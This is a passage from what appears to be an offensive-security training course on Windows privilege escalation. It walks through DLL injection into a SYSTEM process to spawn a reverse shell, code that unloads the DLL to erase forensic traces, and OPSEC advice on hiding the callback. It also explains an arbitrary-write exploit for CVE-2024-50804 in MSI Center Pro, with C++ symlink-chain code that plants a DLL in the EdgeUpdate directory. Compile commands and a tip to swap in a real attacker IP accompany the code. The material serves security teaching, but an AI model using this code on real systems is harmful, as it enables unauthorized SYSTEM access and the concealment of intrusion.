dllPath, MEM_COMMIT, PAGE_READWRITE); // Write the DLL path string into the allocated remote memory WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL); // Get LoadLibraryW address from kernel32 (same VA in all processes — ASLR offsets match) PTHREAD_START_ROUTINE threadStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress( GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); // Create remote thread in the SYSTEM process — entry point = LoadLibraryW(dllPath) // This loads our DLL into the SYSTEM process context → DllMain fires → reverse shell! CreateRemoteThread(processHandle, NULL, 0, threadStartRoutineAddress, remoteBuffer, 0, NULL); }
✓ kernel32.dll is loaded at the same base address in every process on the system — ASLR randomizes per-boot, not per-process

Windows ASLR (Address Space Layout Randomization) randomizes the load address of DLLs once at boot time. After that, every process on the system loads kernel32.dll at the same base address for the lifetime of that boot session. This means the virtual address of LoadLibraryW inside kernel32.dll is identical in our process and in the target SYSTEM process.

This is why GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryW") gives us an address we can safely pass to CreateRemoteThread as the thread entry point — we looked it up in our process, but it's the same in the target's address space.

  • This assumption holds for kernel32.dll and ntdll.dll — they are shared across all processes
  • It does not hold for modules loaded by only some processes (e.g., ws2_32, user32 if not pre-loaded)
  • This is the foundational trick behind almost all classic DLL injection implementations
✓ EnumProcessModules + CreateRemoteThread(FreeLibrary) — unloads the DLL after the shell is established
C++ DLL cleanup — Part 4 — enumerate and FreeLibrary the injected DLL
// After the reverse shell is live, unload the DLL to hide tracks if (EnumProcessModules(processHandle, hMods, sizeof(hMods), &cbNeeded)) { for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) { TCHAR szModName[MAX_PATH]; GetModuleFileNameEx(processHandle, hMods[i], szModName, sizeof(szModName) / sizeof(TCHAR)); // Find our specific DLL in the target process module list if (_tcscmp(szModName, L"C:\Users\public\mig2.dll") == 0) { // Create another remote thread — this one calls FreeLibrary(hMods[i]) // This unloads the DLL from the target process memory PTHREAD_START_ROUTINE freeAddr = (PTHREAD_START_ROUTINE)GetProcAddress( GetModuleHandle(TEXT("Kernel32")), "FreeLibrary"); CreateRemoteThread(processHandle, NULL, 0, freeAddr, hMods[i], 0, NULL); } } }

After the reverse shell DLL fires and the attacker has their SYSTEM callback, leaving the DLL loaded in the target process is a forensic artifact. Process Hacker/System Informer would show an unexpected DLL in AppleMobileDeviceService.exe's module list — an immediate red flag for a defender.

The cleanup uses the same CreateRemoteThread trick, this time with FreeLibrary as the entry point and the DLL's module handle as the argument. The DLL is evicted from the process's memory, and the module list returns to its expected state.

✓ The shell originates from the SYSTEM process, not from ElevationStation.exe — requires a separate listener

The reverse shell connection in Part 4 originates from AppleMobileDeviceService.exe (or whichever SYSTEM process was targeted), not from ElevationStation.exe. These are two completely separate network connections from two different processes:

  • Port 4444 — your initial shell running in ElevationStation.exe's context
  • Port 4445 — the SYSTEM shell originating from the injected SYSTEM process

This separation has genuine OPSEC value: network telemetry shows the SYSTEM shell callback coming from a legitimate-looking Windows service, not from ElevationStation.exe. A defender correlating process → network connections may not immediately link the two.

The mig2.dll source hardcodes 127.0.0.1:4445 for lab use. For a real engagement, recompile with your actual attacker IP before use. The compile commands are in the Part 4 source comments:

  • x64: x86_64-w64-mingw32-gcc -o mig2.dll -shared mig2.c -lws2_32
  • x86: i686-w64-mingw32-gcc -o mig2.dll -shared mig2.c -lws2_32
Final Exam Progress
Click each question to reveal the answer and explanation
Questions Revealed
0 / 13
Course Complete. You've gone from Windows security model fundamentals all the way through ElevationStation — a real tool built by a real practitioner. Full source is at github.com/g3tsyst3m/elevationstation. Study the code, run it in a lab, and then build your own version from scratch. That's when it actually sticks.

08
Module Eight

Arbitrary Write Privilege Escalation — CVE-2024-50804

// Symlinks, junctions, and a SYSTEM process doing your bidding

Learning Objectives

  • Understand what an arbitrary write vulnerability is and why SYSTEM writes to user-accessible paths create exploitable conditions
  • Use ProcMon to discover SYSTEM processes writing to ProgramData directories
  • Chain Object Manager symlinks and directory junctions to redirect a SYSTEM write to a privileged target
  • Leverage the resulting write primitive to plant a DLL in a protected directory and execute it via Task Scheduler
  • Understand the responsible disclosure timeline and CVE process behind CVE-2024-50804

Background — What Is an Arbitrary Write?

An arbitrary write vulnerability occurs when a privileged process (running as SYSTEM or Administrator) writes to a file or directory path that a lower-privileged user can influence or redirect. On its own, a SYSTEM process writing to C:\ProgramData is not immediately dangerous — but if a standard user can manipulate what that write targets, the write primitive becomes a powerful escalation tool.

CVE-2024-50804 was discovered in MSI Center Pro 2.1.37.0 — software shipped on MSI-branded laptops — and was responsibly disclosed, acknowledged, and patched by MSI's PSIRT team. The patch shipped in version 2.1.41.0 on November 14, 2024. This module walks through the full discovery-to-exploitation methodology so you understand the technique generically, not just for this specific CVE.

The discovery approach that found this CVE — ProcMon observation of SYSTEM writes to ProgramData — is directly applicable to auditing any software installation on any Windows machine.

CVE-2024-50804 — MSI Center Pro 2.1.37.0. Discovered, reported, and disclosed by g3tsyst3m (Robbie). MSI PSIRT confirmed and patched November 14, 2024. Full PoC source: github.com/user-attachments/files/21607135/code.zip. MSI Hall of Fame: csr.msi.com/global/product-security-advisories

Step 1 — Discovery with ProcMon

The vulnerability was found the same way most arbitrary write bugs are found: open ProcMon, launch the target application, and watch for a SYSTEM-level process writing to a path where a standard user has influence over the file contents or name.

In this case, C:\Program Files (x86)\MSI\One Dragon Center\MSI.CentralServer.exe — running as SYSTEM — was observed writing to C:\ProgramData\MSI\One Dragon Center\Data\Data\. Specifically, it was performing a two-step file operation:

  • 1 Writing data into Device_DeviceID.dat.bak
  • 2 Renaming Device_DeviceID.dat.bakDevice_DeviceID.dat

The ProgramData directory inherits permissive ACLs — standard users can read and write files there by default. This meant the .bak file was a target we could manipulate before the SYSTEM process touched it.

Step 2 — The Symlink/Junction Chain

Windows provides two types of filesystem redirection primitives that standard users can create without elevation: directory junctions (redirect a directory path to another directory) and Object Manager symbolic links (redirect a file path to another file, operating at the kernel object level below Win32). Chaining them together is the core of this technique.

The attack chain has two phases:

Phase 1 — Gain delete rights: Create a pseudo-symlink on Device_DeviceID.dat.bak pointing to an attacker-controlled file in C: emp. When the SYSTEM process renames .bak to .dat, the resulting .dat file inherits the permissive ACLs of the ProgramData\Data\Data directory — giving the standard user the ability to delete it (normally only Administrators could delete this file).
Phase 2 — Arbitrary write to privileged target: Delete all files in the Data folder. Create a directory junction from Data to a target directory of your choosing. Create two Object Manager RPC control symlinks — one mapping the .bak filename to your payload DLL in C: emp, and one mapping the renamed .dat filename to a file inside the privileged target directory. When the SYSTEM process runs again and performs the rename, it writes your payload into the privileged directory.

The Target — EdgeUpdate Directory

The privileged target chosen for this exploit is C:\Program Files (x86)\Microsoft\EdgeUpdate\. This directory is writable only by Administrators under normal conditions — a standard user cannot place files there. By using the arbitrary write primitive to land a custom DLL in this directory, and then triggering the EdgeUpdate scheduled task, we get our DLL loaded as SYSTEM.

The principle generalizes: any directory containing an executable run by a scheduled task at elevated privileges is a viable target. EdgeUpdate is reliable because its scheduled task runs regularly and automatically.

The Exploit Code — Object Manager Symlink Chain

The critical code snippet that creates the two Object Manager RPC control symbolic links is what makes the arbitrary write work. The first symlink redirects the .bak filename to the attacker's payload DLL. The second symlink redirects the renamed .dat filename to the target file path in the privileged directory. When SYSTEM performs the rename, it follows the symlink chain and lands the payload in the protected location.

C++ symlink_chain.cpp — Object Manager RPC control symlinks for arbitrary write
// symlink_chain.cpp — g3tsyst3m CVE-2024-50804 // Creates two Object Manager (RPC control) symbolic links to chain the // SYSTEM arbitrary write from .bak → payload DLL → privileged target directory // // Full PoC: github.com/user-attachments/files/21607135/code.zip // // The two symlinks work together: // Symlink 1: Device_DeviceID.dat.bak → C: emp\payload.dll (our payload) // Symlink 2: Device_DeviceID.dat → C:\Program Files (x86)\Microsoft\EdgeUpdate\msedge_elf.dll // // When MSI.CentralServer.exe (SYSTEM) renames .bak → .dat: // - It reads from Symlink 1 → gets our payload DLL content // - It writes to Symlink 2 → lands payload in the protected EdgeUpdate directory // Result: our DLL now exists in C:\Program Files (x86)\Microsoft\EdgeUpdate\ #include <windows.h> #include <iostream> #include <string> // Helper: Create an Object Manager symbolic link under \RPC Control// This operates at the NT object namespace level — below Win32 path resolution // Standard users CAN create links in \RPC Control\ without elevation BOOL CreateRpcControlSymlink( const std::wstring& linkName, // name in \RPC Control\ namespace const std::wstring& targetPath // NT path to redirect to ) { UNICODE_STRING usLinkName, usTarget; OBJECT_ATTRIBUTES oa; HANDLE hLink = NULL; // Build the full object name: \RPC Control\Device_DeviceID.dat.bak std::wstring fullLinkName = L"\RPC Control\" + linkName; RtlInitUnicodeString(&usLinkName, fullLinkName.c_str()); RtlInitUnicodeString(&usTarget, targetPath.c_str()); InitializeObjectAttributes(&oa, &usLinkName, OBJ_CASE_INSENSITIVE, // case-insensitive name lookup NULL, NULL); // NtCreateSymbolicLinkObject — NT native API, no elevation required for \RPC Control\ NTSTATUS status = NtCreateSymbolicLinkObject( &hLink, SYMBOLIC_LINK_ALL_ACCESS, &oa, &usTarget ); if (NT_SUCCESS(status)) { printf("[+] Symlink created: \RPC Control\%ws → %ws ", linkName.c_str(), targetPath.c_str()); // Keep handle open — symlink lives as long as the handle is open return TRUE; } printf("[-] Failed to create symlink: 0x%08X ", status); return FALSE; } int main() { // Step 1: Empty the Data directory and create junction from Data → \RPC Control // (junction creation handled separately — see full PoC) // Step 2: Create Symlink 1 // .bak file → our payload DLL in C: emp // When SYSTEM writes to .bak, it writes to our payload file CreateRpcControlSymlink( L"Device_DeviceID.dat.bak", L"\??\C:\temp\payload.dll" // NT path prefix: \??\ = Win32 drive root ); // Step 3: Create Symlink 2 // .dat file (the rename target) → our target file in the privileged directory // When SYSTEM renames .bak → .dat, the rename follows this symlink // Result: payload.dll content written to the protected EdgeUpdate directory CreateRpcControlSymlink( L"Device_DeviceID.dat", L"\??\C:\Program Files (x86)\Microsoft\EdgeUpdate\msedge_elf.dll" ); // Step 4: Trigger MSI.CentralServer.exe to perform the write // The SYSTEM process runs on startup or can be triggered by starting the service // Once it runs, it performs .bak → .dat rename, following our symlink chain printf("[*] Symlinks in place. Trigger MSI.CentralServer.exe to execute the write. "); printf("[*] Then trigger EdgeUpdate scheduled task to load the planted DLL as SYSTEM. "); // Keep process alive to maintain symlink handles system("pause"); return 0; }

Step 3 — The Payload DLL and Task Scheduler Execution

With the arbitrary write primitive delivering our DLL into the EdgeUpdate directory, the final step is triggering execution. The EdgeUpdate scheduled task runs automatically at system intervals and loads DLLs from its own directory. A DLL placed there with the right name gets loaded by a SYSTEM process — completing the escalation from standard user to NT AUTHORITY\SYSTEM.

The payload DLL follows the same pattern as Module 5's DLL hijack template: a DllMain that fires on DLL_PROCESS_ATTACH and spawns an elevated shell or calls back to a C2 listener.

The Responsible Disclosure Timeline

This CVE is also a case study in professional vulnerability disclosure. The full timeline from discovery to patch:

Scope note: CVE-2024-50804 is patched in MSI Center Pro 2.1.41.0 and later. This module teaches the technique class, not a working exploit against the patched version. Apply these techniques only in authorized lab environments and against software versions confirmed to be affected in the scope of an authorized penetration test.